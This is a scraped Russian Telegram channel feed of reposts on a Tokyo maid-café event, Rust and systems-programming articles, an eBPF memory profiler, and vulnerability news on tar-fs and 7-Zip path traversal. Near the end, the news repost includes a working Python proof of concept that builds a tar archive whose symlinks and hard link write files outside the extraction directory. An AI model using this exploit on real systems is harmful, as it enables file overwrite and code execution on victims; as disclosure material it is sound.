Forwarded from Врен о Японии для туриста
Надеть платье горничной и обслужить красивую японскую девушку можно в попап-кафе Maid ni Nareru («Стать горничной») в Токио.
Так-то в Японии популярны мэйд-кафе, где девочки в образе разносят гостям красивую еду и называют вас «господином» (или госпожой), а тут обратный принцип: клиент платит 4000 иен за то, чтобы полтора часа поработать горничной и приносить чай японской леди. И да, юноша тоже может стать горничной.
Уверен, эта новость быстро превратится в очередной миф (зашел не в то кафе, и все - на тебя нацепили платье и отправили разносить рамен мужикам), поэтому подчеркну: это просто серия временных ивентов в одном котокафе Yorimichi Cafe Nyan & Peace. Ближайшие сессии пройдут 16 августа, билеты продаются здесь.
Да, и обслуживать других клиентов не попросят - роль японской леди исполняет актриса. Так что это никакая не работа, а просто полуторачасовая косплей-фотосессия в образе горничной, за время которой вас даже накормят.
Так-то в Японии популярны мэйд-кафе, где девочки в образе разносят гостям красивую еду и называют вас «господином» (или госпожой), а тут обратный принцип: клиент платит 4000 иен за то, чтобы полтора часа поработать горничной и приносить чай японской леди. И да, юноша тоже может стать горничной.
Уверен, эта новость быстро превратится в очередной миф (зашел не в то кафе, и все - на тебя нацепили платье и отправили разносить рамен мужикам), поэтому подчеркну: это просто серия временных ивентов в одном котокафе Yorimichi Cafe Nyan & Peace. Ближайшие сессии пройдут 16 августа, билеты продаются здесь.
Да, и обслуживать других клиентов не попросят - роль японской леди исполняет актриса. Так что это никакая не работа, а просто полуторачасовая косплей-фотосессия в образе горничной, за время которой вас даже накормят.
❤7🤩3😍2❤🔥1🔥1🥰1
#prog #rust #article
Fully Automated Releases for Rust Projects
Статья с очень конкретными инструкциями
Fully Automated Releases for Rust Projects
Статья с очень конкретными инструкциями
🔥4
#prog #rust #suckassstory
std::process::exit is not thread-safe in combination with C code calling exit
Древний дизайн из времён, когда многопоточности не существовало, вновь наносит удар! И да, проблемы те же, что и с
std::process::exit is not thread-safe in combination with C code calling exit
Древний дизайн из времён, когда многопоточности не существовало, вновь наносит удар! И да, проблемы те же, что и с
env::{set_var, remove_var}
.😁4
Блог*
#prog #rust #suckassstory std::process::exit is not thread-safe in combination with C code calling exit Древний дизайн из времён, когда многопоточности не существовало, вновь наносит удар! И да, проблемы те же, что и с env::{set_var, remove_var}.
getenv в glibc по итогу всё же сделали более потокобезопасной. Причём совсем недавно, патч только в июле слили.
😁10
#prog #article
Fixing the Next 10,000 Aliasing Bugs
Относительно старая (март 2023 года) статья, которую стоило бы опубликовать куда раньше.
Статья, которая сначала демонстрирует, к каким багам может приводить алиасинг, а затем пошагово вводит отслеживание алиасинга в систему типов и в итоге приходит к... Rust.
Главный аргумент статьи — почему отслеживание алиасинга в принципе может быть полезно — говорит о связи между алиасингом и инвариантами:
Fixing the Next 10,000 Aliasing Bugs
Относительно старая (март 2023 года) статья, которую стоило бы опубликовать куда раньше.
Статья, которая сначала демонстрирует, к каким багам может приводить алиасинг, а затем пошагово вводит отслеживание алиасинга в систему типов и в итоге приходит к... Rust.
Главный аргумент статьи — почему отслеживание алиасинга в принципе может быть полезно — говорит о связи между алиасингом и инвариантами:
What do all three of these bugs have in common? In every case, an invariant was violated thanks to multiple aliased references to the same value.
Invariants are essential to large scale programming, because it is impossible to hold the entire state of a system in your head at once. <...>
However, code inevitably needs to temporarily violate an invariant while performing updates. The problem comes when there are multiple references to the relevant data, and another reference observes this temporarily violated invariant.
👍4🌚3😁2🔥1
Новости Москвы
🥪 Subway в России может сменить название на Subboy Право на бренд Subway в России истекает в 2025 году, поэтому сеть готовится к ребрендингу.
В итоге поменяли на SUBJOY
РБК
Subway сменила название в России на Subjoy
Сеть ресторанов быстрого обслуживания Subway поменяла название на Subjoy. Ребрендинг будет поэтапным и коснется 140 точек. В 2024 году международный франчайзор заявил о прекращении поддержки торговой
😭17😁8🌚3
Forwarded from Технологический Болт Генона
You're a busy professional so the TLDR is we built an OOM monitoring system called OOMProf in eBPF that profiles Go programs at the point they are OOM kill'd capturing allocations up to the bitter end to give developers a better idea of exactly what went wrong.
Запилили профайлер на eBPF для того что бы лучше понимать откуда в Go-шных программах память течёт.
В статье расписана проблематика OOM и к какому решению в итоге пришли. Я расписывать не буду, потому что это всё сложно уместить в пост в Телеге. Оставлю тут ещё только куда ещё хотят развиваться
Future Plans
Rome wasn't built in a day! We'd like to add support for these features:
- Add support for jemalloc,tcmalloc,mimalloc profiling for Rust/native programs
- Add support for stack/goroutine dumps, if we fail or can't gather a memory profile it would nice to have something!
OOMProf - Profiling on the Brink
https://www.polarsignals.com/blog/posts/2025/08/13/oomprof
GitHub проекта
OOMProf is an eBPF-based process monitor that automatically captures heap profiles from Go programs just before they are killed by the Linux Out-of-Memory (OOM) killer, or on-demand for specific processes. This enables post-mortem analysis of memory usage patterns that led to OOM conditions.
eBPF OOM Memory Profiler
https://github.com/parca-dev/oomprof
Запилили профайлер на eBPF для того что бы лучше понимать откуда в Go-шных программах память течёт.
В статье расписана проблематика OOM и к какому решению в итоге пришли. Я расписывать не буду, потому что это всё сложно уместить в пост в Телеге. Оставлю тут ещё только куда ещё хотят развиваться
Future Plans
Rome wasn't built in a day! We'd like to add support for these features:
- Add support for jemalloc,tcmalloc,mimalloc profiling for Rust/native programs
- Add support for stack/goroutine dumps, if we fail or can't gather a memory profile it would nice to have something!
OOMProf - Profiling on the Brink
https://www.polarsignals.com/blog/posts/2025/08/13/oomprof
GitHub проекта
OOMProf is an eBPF-based process monitor that automatically captures heap profiles from Go programs just before they are killed by the Linux Out-of-Memory (OOM) killer, or on-demand for specific processes. This enables post-mortem analysis of memory usage patterns that led to OOM conditions.
eBPF OOM Memory Profiler
https://github.com/parca-dev/oomprof
👍5🤣2
#prog #gamedev #article
Bevy's Fifth Birthday
Да, уже пять лет существует. И да, скоро наконец-то будет редактор, по всей видимости.
Bevy's Fifth Birthday
Да, уже пять лет существует. И да, скоро наконец-то будет редактор, по всей видимости.
bevy.org
Bevy's Fifth Birthday
Bevy is a refreshingly simple data-driven game engine built in Rust. It is free and open-source forever!
❤2
#prog #article
Лежало в закладках с аж 2023 года, при том, что давно прочитал.
A fork() in the road (pdf)
Один из главных аргументов — само существование fork() постоянно сказывается и на дизайне OS, и на дизайне программ, причём не в лучшую сторону.
Лежало в закладках с аж 2023 года, при том, что давно прочитал.
A fork() in the road (pdf)
The received wisdom suggests that Unix’s unusual combination offork()
andexec()
for process creation was an inspired design. In this paper, we argue that fork was a clever hack for machines and programs of the 1970s that has long outlived its usefulness and is now a liability. We catalog the ways in which fork is a terrible abstraction for the modern programmer to use, describe how it compromises OS implementations, and propose alternatives.
As the designers and implementers of operating systems, we should acknowledge that fork’s continued existence as a first-class OS primitive holds back systems research, and deprecate it. As educators, we should teach fork as a historical artifact, and not the first process creation mechanism students encounter.
Один из главных аргументов — само существование fork() постоянно сказывается и на дизайне OS, и на дизайне программ, причём не в лучшую сторону.
👍11🔥1
Блог*
we argue that fork was a clever hack for machines and programs of the 1970s that has long outlived its usefulness and is now a liability.
Telegram
Блог*
#prog
lists.busybox.net/pipermail/busybox/2010-December/074114.html
О том, откуда растут ноги у деления на (s)bin и usr/(s)bin в Unix. Спойлер: это артефакт системы хранения первой машины, на которой производилась разработка.
lists.busybox.net/pipermail/busybox/2010-December/074114.html
О том, откуда растут ноги у деления на (s)bin и usr/(s)bin в Unix. Спойлер: это артефакт системы хранения первой машины, на которой производилась разработка.
😁3
Forwarded from Технологический Болт Генона
Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога
https://www.opennet.ru/opennews/art.shtml?num=63740
В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.
Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.
Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.
Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar
PoC
https://www.opennet.ru/opennews/art.shtml?num=63740
В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.
Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.
Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.
Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar
PoC
import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
root = tarfile.TarInfo("root")
root.linkname = ("noop/" * 15) + ("../" * 15)
root.type = tarfile.SYMTYPE
tar.addfile(root)
noop = tarfile.TarInfo("noop")
noop.linkname = "."
noop.type = tarfile.SYMTYPE
tar.addfile(noop)
hard = tarfile.TarInfo("hardflag")
hard.linkname = "root/home/username/flag/flag"
hard.type = tarfile.LNKTYPE
tar.addfile(hard)
content = b"overwrite\n"
overwrite = tarfile.TarInfo("hardflag")
overwrite.size = len(content)
overwrite.type = tarfile.REGTYPE
tar.addfile(overwrite, fileobj=io.BytesIO(content))
content = b"new!\n"
newfile = tarfile.TarInfo("root/home/username/flag/newfile")
newfile.size = len(content)
newfile.type = tarfile.REGTYPE
tar.addfile(newfile, fileobj=io.BytesIO(content))
😁1
Технологический Болт Генона
Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога https://www.opennet.ru/opennews/art.shtml?num=63740 В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива…
Telegram
Блог*
#prog
Dot Dot Considered Harmful, или почему в Fuchsia нет .. в составе путей.
TL;DR: проще контролировать доступ к файловой системе.
(thanks @alurm)
Dot Dot Considered Harmful, или почему в Fuchsia нет .. в составе путей.
TL;DR: проще контролировать доступ к файловой системе.
(thanks @alurm)
👍7🤡2